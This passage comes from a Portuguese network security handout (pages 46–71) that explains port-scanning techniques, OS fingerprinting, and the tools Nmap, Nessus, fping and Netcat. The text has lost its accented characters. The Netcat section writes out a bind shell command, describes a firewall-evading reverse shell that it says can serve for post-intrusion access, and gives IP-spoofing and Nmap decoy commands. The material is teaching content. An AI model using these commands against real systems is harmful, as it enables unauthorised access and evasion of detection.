Por ser uma tcnica mais furtiva, vrios sistema de monitoramento no registram este tipo de varredura. Varredura TCP FIN : este tcnica muito utilizada contra sistemas baseados em UNIX, pois quando estes recebem um pacote "FIN" destinado porta fechada, eles enviam de volta um pacote "RST", contudo o mesmo no acontece com sistemas Windows que ignoram o pacote. Este padro documentado na RFC793 . Varredura TCP Xmas Tree : neste caso ocorre o envio de um pacote com os bits "FIN" , "URG" e "PUSH" ligados porta alvo e segundo a RFC793, toda porta fechada deve responder com um pacote "RST" Varredura TCP NULL : Quando uma porta alvo recebe um pacote com todos os flags desligados (setados como 0), ela deve responder com um pacote "RST" caso esteja fechada. Varredura TCP ACK : Esta tcnica usada para mapear regras de um determinado firewall, permitindo determinar se o firewall apenas um filtro de pacote ou um firewall de estados. Varredura TCP Windows : Esta tcnica analisa o tamanho do campo Window do protocolo TCP e permite determinar se a porta est aberta , filtrada ou no filtrada . Esta anlise possvel, pois alguns gateways de segurana alteram o valor deste campo quando filtram determinadas portas. Varredura TCP RPC : Esta tcnica permite identificar qual a verso dos aplicativos RPC \footnote {O servio RPC (Remote Procedure Call) especifico do sistema operacional UNIX. que esto ativos em um n Unix Like. Alguns dos servios que fazem uso do RPC so o NFS (Network File System) e o NIS (Network Information Service).
Uma forma alternativa de anlise consiste na escolha de uma porta UDP que, segundo a lista de porta definida pela IANA, no deve estar em estado de escuta, e no envio de pacotes, se a mesma no responder com uma mensagem "ICMP Port Unreachable Error" porque ela est sendo filtrada. Existe uma grande quantidade de ferramentas disponveis para se realizar a varredura de redes de computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre elas: Varredura de ICMP: Ping, Fping, Hping, Nmap, Icmpenum e Icmpquery. Varredura de Portas: Nmap, Strobe, Udp_scan e Netcat.
caractersticas formam o "fingerprinting" de um n. Analisando o comportamento da pilha de uma determinada verso de um sistema operacional e mapeando o resultado dentro de um banco de dados, possvel utilizar estes dados para a verificao do sistema operacional de outros ns. O "fingerprinting" de um n pode ser coletado de forma Ativa , atravs do envio de pacotes ao n alvo e da anlise do pacotes recebidos, e de forma Passiva , pela anlise de pacotes pertencentes a conexes j estabelecidas e coletados diretamente pela interface de rede.
Pgina 46 de 71
responder, entretanto algumas pilhas TCP/IP , como o caso da pilha do Windows NT, responde com uma
como "1" , dependendo do sistema operacional. Este pacote pode ser respondido atravs de um pacote com o mesmo flag setado em "1". Este procedimento implementado pelo Linux e por outros sistemas Unix Like ; Bit no Fragmentar: para permitir um melhor desempenho do protocolo, TCP/IP alguns sistema operacionais setam este campo com o valor "1" e outros, como o caso do Solaris , no permitem o seu uso; Tamanho da Janela TCP: o tamanho deste campo normalmente dependente do sistema operacional. Por exemplo: o AIX o nico sistema operacional a utilizar o valor Ox3F25 para este campo; Numero Seqencial do ACK: esta tcnica consiste em observar o valor do nmero seqencial do pacote ACK . Alguns sistemas respondem ao pacote com o mesmo nmero seqencial daquele que o originou, outros incrementam este valor em uma unidade antes de respond-lo; Limitao das Mensagem de Erro ICMP: alguns sistemas operacionais, seguindo as recomendaes da RFC1812, limitam a taxa de envio das mensagens de erro ICMP a um determinado valor por intervalo de tempo. Sendo este valor padronizado, basta enviar vrios pacotes UDP uma porta fechada e aguaradar a mensagem "ICMP port unreachable" . Esta tcnica normalmente no muito
Pgina 47 de 71
utilizada, pois torna a coleta do fingerprinting lenta ; Tipo de Servio (TOS): valores diferentes. Opes do TCP: as opes bsicas do protocolo TCP so determinadas pela RFC793 e pela a maioria dos sistema operacionais setam este campo para zero (0)
quando enviam uma mensagem " ICMP port unreachable ", apesar de alguns sistemas operacionais utilizam
RFC1323, j as opes avanadas so definidas pela RFC1323. Realizando o envio de vrios pacotes com valores especficos nestes campos e analisando a resposta, pode-se supor o sistema operacional ativo, visto que nem todos os sistemas implementam todas as opes descritas nestas RCFs . Existem ainda outras tcnicas que no se utilizam de pacotes TCP ou UDP, ao invs disto, fazem uso de mensagens de ICMP. Estas tcnicas foram utilizadas por Ofir Arkin na construo da ferramenta Xprobe .
Pgina 48 de 71
quando a mquina possui uma verso do Windows ou do Linux instalado. O terceiro campo verificado o flag DF , que indica se o pacotes est fragmentado ou no. Poucos so os sistemas que setam este bit como "zero", mas o SCO e o OpenBSD utilizam este padro. O ultimo campo verificado o TOS , que na maioria das mensagem est setado para "zero".
Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as caractersticas abaixo . Cruzando os dados coletados com as informaes acima, pode-se concluir que o n provavelmente roda uma verso do Kernel do Linux. TTL Window Size DF bit TOS 64 0x7D78 1 0x0
Outros campos tambm podem ser utilizados na deteco do sistema operacional de forma passiva, mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para gerar e verificar as assinaturas dos sistemas operacionais.
Pgina 49 de 71
9)Kit de Ferramentas
As prximas sesses apresentam algumas ferramentas comumente utilizadas por administradores no processo de verificaao do nvel de segurana de seus ambientes.
9.1) Nmap
O Nmap fornece, de uma maneira geral, a relao de computadores e servios ativos. Existem diversas formas e parmetros a serem informados durante uma varredura. Para obter o cdigo fonte s acessar o link abaixo e procurar por Latest Stable Version Tarball:
http://www.insecure.org/nmap_download.html
Este aplicativo possui os seguintes mtodos de varredura: -sP ou Ping scan: Algumas vezes necessrio saber se um determinado host ou rede est no ar. Nmap pode enviar pacotes ICMP echo request para verificar se determinado host ou rede est ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP echo request, ento envia um pacote TCP ACK para a porta 80 (default) e caso receba RST o alvo est ativo. A terceira tcnica envia um pacote SYN e espera um RST ou SYN-ACK. -sR ou RCP scan: Este mtodo trabalha em conjunto com vrias tcnicas do Nmap. Ele considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para determinar se realmente so portas RPC. como se o comando rpcinfo -p estivesse sendo utilizado, mesmo atravs de um firewall ( ou protegido por TCP wrappers ). -sS ou TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta, enquanto um como resposta indica que a porta est fechada. A abordagem que poucos iro detectar esse scanning de portas. -sT ou TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada a chamada de sistema (system call) connect() que envia um sinal as portas ativas. Caso a porta vantagem dessa
Pgina 50 de 71
esteja aberta recebe como resposta connect(). um dos scan mais rpidos, porm fcil de ser detectado.
-sU ou UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se for recebido uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC e com isso a varredura de mquinas Windows muito rpida.
-sV ou Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros detalhes. -sF, -sX, -sN ou Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pacotes SYN's em portas restritas, ento necessrio utilizar mtodos avanados para atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973) Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH so utilizados no pacotes FIN que enviado ao alvo. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, enquanto portas abertas ignoram esses pacotes. Nenhuma flag ligada no pacote FIN. (Esse mtodo no funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 973)
Alm destas o nmap possui outras opes de uso geral, das quais podemos destacar: -D <decoy1 [,decoy2][,VOCE],...> :Durante uma varredura, utiliza uma srie de endereos falsificados, simulando que o scanning tenha originado desses vrios hosts, sendo praticamente impossvel identifiicar a verdadeira origem da varredura. nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo
Pgina 51 de 71
-F : Procura pelas portas que esto no /etc/services. Mtodo mais rpido, porm no procurar por todas as portas. nmap -F alvo
-I : Se o host estiver utilizando o ident, possvel identificar o dono dos servios que esto sendo executados no servidor (trabalha com a opo -sT) nmap -sT -I alvo
-O : Ativa a identificao do host remoto via TCP/IP. Ir apresentar verso do Sistema Operacional e tempo ativo. nmap -O alvo
-p <lista_de_portas> : Especifica quais portas devem ser verificadas na varredura. Por default, todas as portas entre 1 e 1024 so varridas. nmap -p 22,80 alvo nmap -p U:53,111,137,T:21-25,80,139,8080
-P0 :No tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que bloqueiam ICMP echo request (ou responses) atravs de firewall. nmap -P0 alvo
-PS[lista_de_portas] :Usa pacotes SYN para determinar se o host est ativo. nmap -PS80 alvo
-PT[lista_de_portas] : Usa TCP ping para determinar se o host est ativo. nmap -PT80 alvo
Pgina 52 de 71
-r : A varredura ser feita nas portas randomicamente, no seguinte a ordem crescente. nmap -r alvo
Paranoid (-T5) muito lento na esperana de prevenir a deteco pelo sistema IDS. Este serializa todos os scans (scanning no paralelo) e geralmente espera no mnimo 5 minutos entre o envio de pacotes.
Sneaky (-T4) similar ao Paranoid, exceto que somente espera 15 segundos entre o envio de pacotes.
Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de travar a mquina. Ele serializa os testes e espera no mnimo 0.4 segundos entre eles.
Normal (-T2) o comportamento default do Nmap, o qual tenta executar to rpido quanto possvel sem sobrecarregar a rede ou perder hosts/portas.
Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nunca espera mais que 1.25 segundos para testar as respostas.
Insane (-T0) somente adequando para redes muito rpidas ou onde se importa em perder
voc
no
-ttl <valor> : Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote. nmap -ttl 55 alvo
Pgina 53 de 71
nmap -v alvo Esta opo faz a varredura de todas as portas TCP reservadas.
nmap -sS -O alvo Lana uma varredura TCP Syn contra cada mquina que est ativa, abrangendo todas as 255 mquinas de classe C onde alvo faz parte. Alm disso determina o sistema operacional de cada host.
nmap -sX -p 22,53,110,143 alvo Envia uma varredura Xmas Tree para o alvo, alm de varrer somente os servios de sshd, Dns, pop3d e imapd.
Pgina 54 de 71
9.2) Nessus
Nessus uma ferramenta para auditoria de segurana. Com ele possvel verificar varias vulnerabilidades em sua rede. O nessus permite que se faa isso de uma forma segura, nao permitindo que usurios no autorizados possam scanear sua rede com ele. Ele composto por duas partes, sendo um cliente e um servidor. Pode-se us-lo a partir do windows, porm isso no ser abordado nesse artigo. Ele possui uma srie de recursos bastante interessantes como trabalhar em conjunto com o nmap e tambm a possibilidade de atualizao apenas baixando novos plugins de ataques e/ou vulnerabilidades. O Nessus foi criado em 1998 por Renaud Deraison, sendo que naquela poca o melhor security scanner era o SATAN ( que se encontrava bastante desatualizado ). Deraison resolveu dividir o sistema em plugins, facilitando muito a atualizao e a preveno contra novos ataques. A partir da verso 1.0.0 foi criado um script que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade e assim sugerir uma forma ou explicao para corrigi-la. O nessus possui uma GUI muito flexvel onde voc configura vrios detalhes de varredura na sua rede. Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que sero scanneados. Primeiramente rode o nessus cliente, bastando para isso digitar nessus na linha de comando. Ele pedir, entao, a senha que voc configurou inicialmente. Vamos abordar agora quais so as opes de configurao do cliente nessus. Nessus host : nesta aba de configurao voc deve especificar o endereo ip do daemon nessus e tambm a porta tcp em que ele est rodando (geralmente 1241). Nesta tela tambm possvel optar pelo algoritmo de criptografia que ser usado. Tambm preciso especificar o nome do usurio para logar no daemon. Plugins : Aqui reside todo o poder do nessus, nesta aba se encontram as exploraes (exploits) das vulnerabilidades conhecidas em forma de plugins. O nessus se vale destes plugins para avaliar as vulnerabilidades do sistema scanneado. Prefs. : So especificados valores como usurios e senhas de servios como ftp, pop, imap e smb. De porte desses dados o nessus pode fazer verificaes muito mais eficitentes nos seus hosts, j que alguns exploits pressupem que o "explorador" possui uma conta vlida de algum desses servios. Tambm possvel configurar o tipo de scan que ser usado pelo nmap ( caso possua ). Scan Option -> Aqui pode-se especificar as portas que sero scaneadas pelo nessus, use virgula para portas individuais e hfen para intervalos(80,110,443-1024). No caso de utilizar o nessus para scanear servidores web bastante interessante especificar o path, ou caminho, dos CGI's no seu servidor. Por
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 55 de 71
exemplo se voc especificar o path /cgi-bin/ para o nessus procurar por CGI's "exploitveis" em http://host/cgi-bin/. Target Selection : Preencha o nico campo desta aba para especificar as mquinas que sero scaneadas. Clicando no boto "Read file..." voc especifica um arquivo onde esto o endereos IP das mquinas a serem verificadas. User : Aqui esto suas informaces pessoais como a chave que deve ser usada e tambm pode-se trocar a sua senha do nessus
( Aba Host)
(Aba Plugins)
Pgina 56 de 71
( Aba Perfs)
(Aba KB)
Pgina 57 de 71
Assim que voc iniciar o nessus lhe ser solicitado a senha. A primeira tela que ir surgir a nessus host nesta tela se encontram, alm da opes citadas acima, o boto de login clicando nele voc ja poder configurar os plugins que sero utilizados. Agora na aba Plugins voc escolhe quais "ataques" e exploraes devero ser aplicadas aos seus alvos. Como j foi citado este um dos maiores diferenciais do nessus, os plugins esto separados por categorias e cada um deles possui um texto explicando o que aquele exploit faz e tambm o grau de risco bem como resolver o problema caso esta vulnerabilidade seja encontrada. Caso alvos sejam mquinas que esto em produo no aconselho usar utilizar o plugins de DoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas. Se os alvos estiverem abertos para internet importante marcar ao menos as seguintes categorias : Gain Shell Remotely, Gain Root Remotely, Backdoors, Remote File Access. Cabe a voc analisar quais plugins devero ser utilizados na varredura, caso sua rede seja composta apenas por sistemas *NIX no existe a menor necessidade de utilizar os plugins referentes a Wingate, por exemplo. Aps escolher os plugins mais adequandos a sua rede vamos escolher quais hosts sero scaneados. Clique na aba Target Selection e especifique as mquinas que deseja scanear ( todas elas devem estar com o nessusd rodando ). Como mencionado acima voc deve colocar os alvos(targets) separados por vrgula ou especificar um arquivo de onde onde o nessus ir ler os alvos. Com tudo configurado(geralmente no preciso mudar muita coisa) voc pode iniciar a varredura em sua rede para isto clique no boto "Start the scan". Agora o nessus ir varrer sua rede isso pode demorar um pouco conforme a velocidade da rede e quantidade de plugins que voc selecionou. Feito a varredura podemos verificar a falhas de segurana e as recomendaes do nessus para as vulnerabilidades encontradas. Na tela Nessus Report voc v os hosts scaneados a esquerda e as vulnerabilidades encontradas em cada um deles direita. Clicando no sinal de + sobre as vulnerabilidades tem-se a explicao do problema e tambm como proceder para corrigi-lo. Para uma futura referncia podese tambm exportar o relatrio basta escolher o formato e clicar em "Save as..." recomendo escolher a opco "Save as HTML with pies an graphs" com isso nessus ir salvar os resultados na pasta que voc escolher e tambm gerar grficos sobre as vulnerabilidades de sua rede juntamente com o tradicional relatrio em HTML. Para realizar a atualizao de seus plugins, o nessus possui um script, que para funcionar necessita que se esteja conectado na internet. Para executa-lo rode o seguinte comando: nessus-update-plugins -v
Pgina 58 de 71
Com a opo -v sero exibidos os plugins que esto sendo baixados. Este script no possui nenhuma forma para verificar a integridade dos plugins baixados,por isso use-o com cautela.( leia a manpage deste script para maiores detalhes)
9.3) Fping
!"#
) para determinar se um ou vrios ns da rede esto ativos, mas ao contrrio do ping, ele permite
realizar a verificao de vrios ns ao mesmo tempo, o endereo dos ns pode ser passado via linha de comando ou atravs de um arquivo texto. O fping ao receber uma confirmao de atividade automaticamente, envia um aviso de atividade e exclui o host da lista de verificao, mas quando um n no responde em no perodo pr determinado ele tido como desligado ou no alcanvel. Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e sua sada ser de fcil manipulao. Este comando aceita os seguintes parmetros: -a : lista somente aqueles ns que esto ativos; -A : mostra o endereo do n ao invs do seu nome de domnio; -c : informa quanto pacotes devem ser enviados para cada host; -C : assim como o anterior, mas este informa no final o tempo de resposta em milisegundos de cada pacote; -e : mostra o tempo decorrido at o recebimento do pacote de verificao; -i : tempo mnimo em milisegundos entre o envio de dois pacotes a qualquer host da rede; -l : loop, envia pacotes indefinidamente; -n : utiliza o nome de domnio do host na sada do comando; -r : nmero de tentativas de alcanar o host; -u : mostra somente os host que no foram alcanados
Pgina 59 de 71
Exemplos: Informa o estado das mquinas utilizando o nome de domnio delas, como pode ser observado logo abaixo:
fping -n 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 ns.ravel.ufrj.br is alive mailhost.ravel.ufrj.br is alive gw-ether.ravel.ufrj.br is alive mailhost.ravel.ufrj.br is alive websec.ravel.ufrj.br is unreachable
Informa somente o nome das mquinas que esto ativas, como vemos abaixo:
fping -na 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 ns.ravel.ufrj.br mailhost.ravel.ufrj.br gw-ether.ravel.ufrj.br mailhost.ravel.ufrj.br
Informa somente o nome das mquinas que no podem ser encontradas, como pode ser observado logo abaixo:
fping -nu 146.164.32.65 146.164.32.67 146.164.32.75 146.164.32.100 146.164.32.67 websec.ravel.ufrj.br
Envia apenas dois pacotes para cada host e no final informa a taxa de pacotes enviados, recebidos e perdidos, como pode ser observado logo abaixo:
fping -q -n -c 2 146.164.32.65 146.164.32.101 146.164.32.67 146.164.32.75 146.164.32.100
ns.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 50.0/51.8/53.7 mailhost.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 45.5/47.3/49.1 websec.ravel.ufrj.br : xmt/rcv/%loss = 2/0/100% gw-ether.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 51.3/52.5/53.7 146.164.32.101 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 49.8/58.6/76.9
Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta de cada um, como pode ser observado logo abaixo:
fping -q -n -C 5 146.164.32.65 146.164.32.101 146.164.32.67 146.164.32.75 146.164.32.100
ns.ravel.ufrj.br : 490.2 509.4 520.3 505.6 466.7 mailhost.ravel.ufrj.br : 529.4 512.2 526.0 489.0 505.6 websec.ravel.ufrj.br : - - - - gw-ether.ravel.ufrj.br : 479.3 540.4 509.7 478.5 494.6 146.164.32.101 : 684.3 520.1 592.9 533.1 745.8
Pgina 60 de 71
Informa o tempo de resposta de cada host, informando o seu endereo ip ao invs do seu nome de domnio, como pode ser observado logo abaixo:
fping -A -e www.gmail.com protheus.ravel.ufrj.br websec.ravel.ufrj.br www.yahoo.com.br
146.164.32.67 is alive (53.3 ms) 200.152.161.113 is alive (45.9 ms) 64.233.171.107 is alive (534 ms) 146.164.32.75 is unreachable
9.3) Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o NetCat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP.
Pgina 61 de 71
-r : Faz as portas do portscan serem escolhidas aleatoriamente; -s : Especifica o endereo IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado; -t : Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo -DTELNET; -u : Usar UDP ao invs de TCP; -v : Controla o nvel de mensagens mostradas na tela; -w : Limita o tempo mximo para que uma conexo seja estabelecida; -z : Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.
Para testar o netcat, usaremos dois aliases na interface loopback (lo) do linux. O endereo IP default da interface lo no linux 127.0.0.1. Se mexermos com o endereo 127.0.0.1 podemos quebrar as nossas conexes de rede. Ao invs disso, usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir endereos IP essas interfaces, os seguintes comandos devem ser executados (como usurio root) na console do linux:
$ ifconfig lo:1 10.0.1.1 $ ifconfig lo:2 10.0.1.2
Pgina 62 de 71
O comando ifconfig tambm permite verificar se o comando foi bem sucedido: ifconfig
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:700 (700.0 b) TX bytes:700 (700.0 b) Link encap:Local Loopback inet addr:10.0.1.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb) Link encap:Local Loopback inet addr:10.0.1.2 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)
lo:1
lo:2
As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois computadores na mesma rede, com IPs diferentes.
Assim, tudo o que for digitado no cliente ser repetido no servidor (na primeira console). Use CTRLC para terminar a conexo.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 63 de 71
Transferir arquivos de um host para outro usando o netcat bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta especfica e redirecionar todos os dados recebidos para um arquivo. Colocando-se um timeout, o servidor ir perceber quando no existem mais dados chegando e ir fechar a conexo. No lado cliente da conexo, simplesmente conecta-se porta do servidor e passa-se o arquivo a ser transferido como entrada. Servidor: nc -vvn -l -p 3000 -w 30 > file Listening on any address 3000
Cliente: nc -vvn -w 2 10.0.0.1 3000 < file1 10.0.0.1 3000 open O servidor ir mostrar a seguinte mensagem quando uma conexo for estabelecida: Connection from 10.0.0.1:1028 Novamente, a conexo deve ser terminada usando-se o CTRL-C. O servidor ir mostrar: Exiting. Total received bytes: 6 Total sent bytes: 0 Enquanto que o cliente mostrar: Total received bytes: 0 Total sent bytes: 6
Pgina 64 de 71
Agora que j sabemos como fazer uma transferncia de arquivos, podemos tentar algo mais til. Por exemplo, podemos nos conectar em uma mquina remota e executar alguns comandos, sem passar por mecanismos de controle de acesso. Para isso, podemos usar o netcat com a opo -e. Um simples exemplo: Na console do servidor entre:
nc -l -p 5000 -e /bin/bash
No cliente:
nc 10.0.1.1 5000
Agora, estamos conectados no servidor, e com acesso ao shell. No vemos o prompt, mas podemos ver a sada de cada comando enviado para o servidor:
ls bin dev home media opt root srv tmp var boot etc lib mnt proc sbin sys usr
possvel usar o netcat para fazer portscans. Para isso, deve-se usar a flag -z (zero I/O mode), que apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se usar a opo -u. TCP
nc -vvn -z xxx.xxx.xxx.xxx start-end
UDP
nc -u -vvn -z xxx.xxx.xxx.xxx start-end
Pgina 65 de 71
No exemplo abaixo, tentamos fazer um scan das portas 21 at 26. Como pode-se ver, portas fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP basicamente o mesmo.
nc -vvn -z 10.0.0.1 21-26 10.0.0.1 21 (ftp): Connection refused 10.0.0.1 22 (ssh) open 10.0.0.1 23 (telnet): Connection refused 10.0.0.1 24: Connection refused 10.0.0.1 25 (smtp): Connection refused 10.0.0.1 26: Connection refused Total received bytes: 0 Total sent bytes: 0
Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambem possuem algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes no tem um IP vlido que podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp no poderia ser usado. Por exemplo, temos um servidor que aceita apenas conexes externas na porta 80, mas no tem um IP externo vlido. O computador de casa provavelmente possui um IP real vlido, e portas que podem ser abertas ou fechadas conforme a necessidade. Invertendo as direes das conexes pode resolver esse problema: basta fazer o computador do escritrio conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa tcnica conhecida como Telnet Reverso. Vamos chamar o computador do escritrio de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinmico, precisaremos de um nome para DNS dinmico, tipo o servio fornecido pela dyndns.org. No computador WORK, configuramos um job cron para iniciar as 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sesso bash. Para isso, em casa deve-se iniciar (antes das 19:00) o netcat da seguinte forma: nc -vv -l -p 80
As 10:00, WORK conecta ao HOME, inicia o bash e est pronto para executar qualquer comando que queremos. Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em modo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 66 de 71
Essa tcnica bem simples e eficiente, pois usa somente a porta 80, que dificilmente estar bloqueada no firewall. A partir do computador HOME voc pode enviar comandos para o WORK, e receber o resultado localmente. Alm disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invaso.
9.3.8) Banner-grabbing
Banner-grabbing consiste em enviar para o destino strings especficas a partir de um arquivo e receber os resultados na tela. O exemplo a seguir inclui um lao for bsico para fazer o scan de mltiplos destinos de uma vez. O arquivo WEB.txt deve conter : head / http/1.0
e dois "enters", ou apenas os dois enters para funcionar em outras portas alm da 80. O arquivo IPlist deve conter a lista dos endereos IP a serem scaneados: 10.0.1.1
Aps criar esses dois arquivos, execute: for f in `cat IPlist.txt`; do nc $f 80 < WEB.txt; done;
Pgina 67 de 71
Voc pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexo HTTPS, voc usar o stunnel para tunelar o nc, ou apenas o prprio stunnel. Para mais detalhes veja a man page do stunnel: man stunnel
Pgina 68 de 71
A sintaxe do comando dever ser algo parecido com a seguinte linha: (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port
9.3.9) IP Spoofing
Usando o netcat, voc pode fazer inclusive spoofing de endereos IP. Se voc estiver escutando o trfego em um segmento, voc pode enviar esse trfego para outro host usando o protocolo UDP. O comando dever ser tipo: tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port>
Isso tambm requer que voc configure o endereo IP spoofed para um alias na sua interface de rede: ifconfig eth0:N spoofed_ip
onde N o alias a ser configurado. Isso ir causar problemas com o host que est sendo spoofed, j que feito o mesmo endereo IP propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping.
Pgina 69 de 71
Tripwire : este aplicativo informa se j houve alguma invaso no sistema. Ele um analisador de integridade de arquivos e diretrios, durante sua execuo ele compara as informaes existentes no sistema de arquivo com os dados prviamente coletados e armazenados no banco de dados. Normalmente sua atividade agendada pela CRON do sistema. Aps ser executado ele produz um relatrio com as possveis violaes que o sistema possa ter sofrido. Quando executado periodicamente permite que brechas de segurana possam ser descobertas o mais rpido possvel. PGP : este uma ferramenta multi plataforma que atravs da criptografia simtrica permite proteger o contedo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar a chave pblica do destinatrio de tal modo que somente quem possuir sua chave privada poder decifar a mensagem que lhe foi enviada. Hping: Icmpenum: Icmpquery: Strobe: Udp_scan: Siphon: p0f: Cheops: Icmpinfo: nttcp:
Pgina 70 de 71
Referencias:
[1] Net, Urubatam; Dominando Linux Firewall Iptables; [2] Linux Magazine, Nmero 4 Ano I, pgina 32; [3] Arkin, Ofir; ICMP Usage in Scanning; Julho de 2000; [4] Fping http:\\www.fping.com\ [5] RFC 1812: Requiriments for IPv4 Routers; http:\\www.ietf.org\rfc\rfc1812.txt [6] RFC793 - TRANSMISSION CONTROL PROTOCOL; DARPA INTERNET PROGRAM, PROTOCOL SPECIFICATION; Defense Advanced Research Projects Agency. September 1981; [7] IANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers; [8] Fyodor; Remote OS derection via TCP/IP Stack FingerPrinting; 18 de Outubro de 1998; [9] Arkin, Ofir; ICMP Usage in Scanning, The Complete Know-How; Verso 3.0; Junho de 2001; [10]Arkin, Ofir e Yarochkin, Fyodor; X remote ICMP based OS Fingerprinting techniques; Agosto de 2001.; [11] Arkin, Ofir; A remote active OS fingerprinting tool using ICMP; Abril de 2002; [12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation of Active Operation System Fingerprinting; julho de 2003; [13] Cid, Daniel B.; Identificao Passiva de Sistemas Operacionais; Maio de 2003; [14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 27 de Novembro de 2000; [15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - Identifing remote hosts, without then khnowing; 4 de Maro de 2002
Pgina 71 de 71
Para obtener tu propio acceso a lecturas y libros electrnicos ilimitados GRATIS hoy mismo, visita: http://espanol.Free-eBooks.net
Comparte este libro con todos y cada uno de tus amigos de forma automtica, mediante la seleccin de cualquiera de las opciones de abajo:
